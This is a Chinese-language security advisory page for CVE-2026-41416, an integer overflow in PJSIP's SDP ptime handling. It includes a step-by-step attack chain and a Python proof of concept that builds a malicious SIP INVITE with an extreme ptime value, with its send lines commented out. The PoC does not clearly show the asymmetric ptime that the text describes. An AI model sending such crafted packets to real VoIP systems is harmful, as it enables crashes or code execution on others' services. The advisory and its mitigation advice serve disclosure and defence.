IPBUF安全漏洞报告
English
CVE-2026-41416 CVSS 7.5 高危

CVE-2026-41416 PJSIP整数溢出漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41416
漏洞类型
整数溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PJSIP

相关标签

整数溢出缓冲区溢出PJSIPDoSRCEVoIP

漏洞概述

PJSIP是一个开源多媒体通信库。在2.16及更早版本中,当处理具有不对称ptime配置的SDP时,其媒体流缓冲区大小计算逻辑存在整数溢出漏洞。该溢出可导致缓冲区分配空间不足,从而引发应用程序意外崩溃或内存损坏。攻击者可通过构造特制的SDP数据触发此漏洞。

技术细节

该漏洞的核心在于PJSIP解析SDP(会话描述协议)时的整数运算错误。当攻击者发送包含不对称ptime参数的恶意SDP offer或answer时,PJSIP在计算媒体流缓冲区大小时会发生整数溢出。由于计算结果回绕变小,系统据此分配的内存空间将无法容纳实际的数据载荷。随后,当程序向该缓冲区写入媒体数据时,会发生堆溢出,覆盖相邻内存区域。这通常导致应用程序崩溃(DoS),但在特定条件下,精心构造的内存布局可能进一步导致任意代码执行。由于无需用户交互且无需认证,该漏洞易于通过网络利用。

攻击链分析

STEP 1
侦察
攻击者识别网络中运行PJSIP库且版本低于2.16的VoIP服务器或客户端。
STEP 2
构造载荷
攻击者创建一个特制的SIP消息(如INVITE),其中包含SDP部分,该SDP配置了不对称或极端的ptime参数。
STEP 3
发送请求
攻击者通过网络向目标设备发送包含恶意SDP的SIP请求,无需身份验证。
STEP 4
触发漏洞
目标PJSIP库解析SDP,在计算媒体流缓冲区大小时发生整数溢出,导致分配过小的内存缓冲区。
STEP 5
利用与影响
程序继续向该过小缓冲区写入数据,导致堆溢出,引发内存损坏,最终导致服务崩溃(DoS)或潜在的代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-41416: PJSIP Integer Overflow via Asymmetric ptime # This script sends a crafted SIP INVITE with malicious SDP to trigger the buffer calculation overflow. TARGET_IP = "127.0.0.1" TARGET_PORT = 5060 # Crafted SDP with extreme ptime values to trigger integer overflow in buffer size calculation # PJSIP calculates buffer size based on ptime. Asymmetric or large values cause the overflow. malicious_sdp = f"""v=0 o=user 123 123 IN IP4 {TARGET_IP} s=session c=IN IP4 {TARGET_IP} t=0 0 m=audio 12345 RTP/AVP 0 a=rtpmap:0 PCMU/8000 a=ptime:65535 """ sip_request = f"""INVITE sip:test@{TARGET_IP} SIP/2.0 Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK-overflow Max-Forwards: 70 To: sip:test@{TARGET_IP} From: sip:[email protected];tag=123 Call-ID: [email protected] CSeq: 1 INVITE Contact: sip:[email protected] Content-Type: application/sdp Content-Length: {len(malicious_sdp)} {malicious_sdp}""" print("Sending malicious SIP packet to PJSIP target...") # Note: Actual network sending requires a running SIP server/client on the target. # sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # sock.sendto(sip_request.encode(), (TARGET_IP, TARGET_PORT))

影响范围

PJSIP <= 2.16

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界设备(如SBC或防火墙)上配置规则,检测并阻断包含异常或不对称ptime参数的SDP流量,从而防止恶意数据包到达易受攻击的PJSIP终端。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表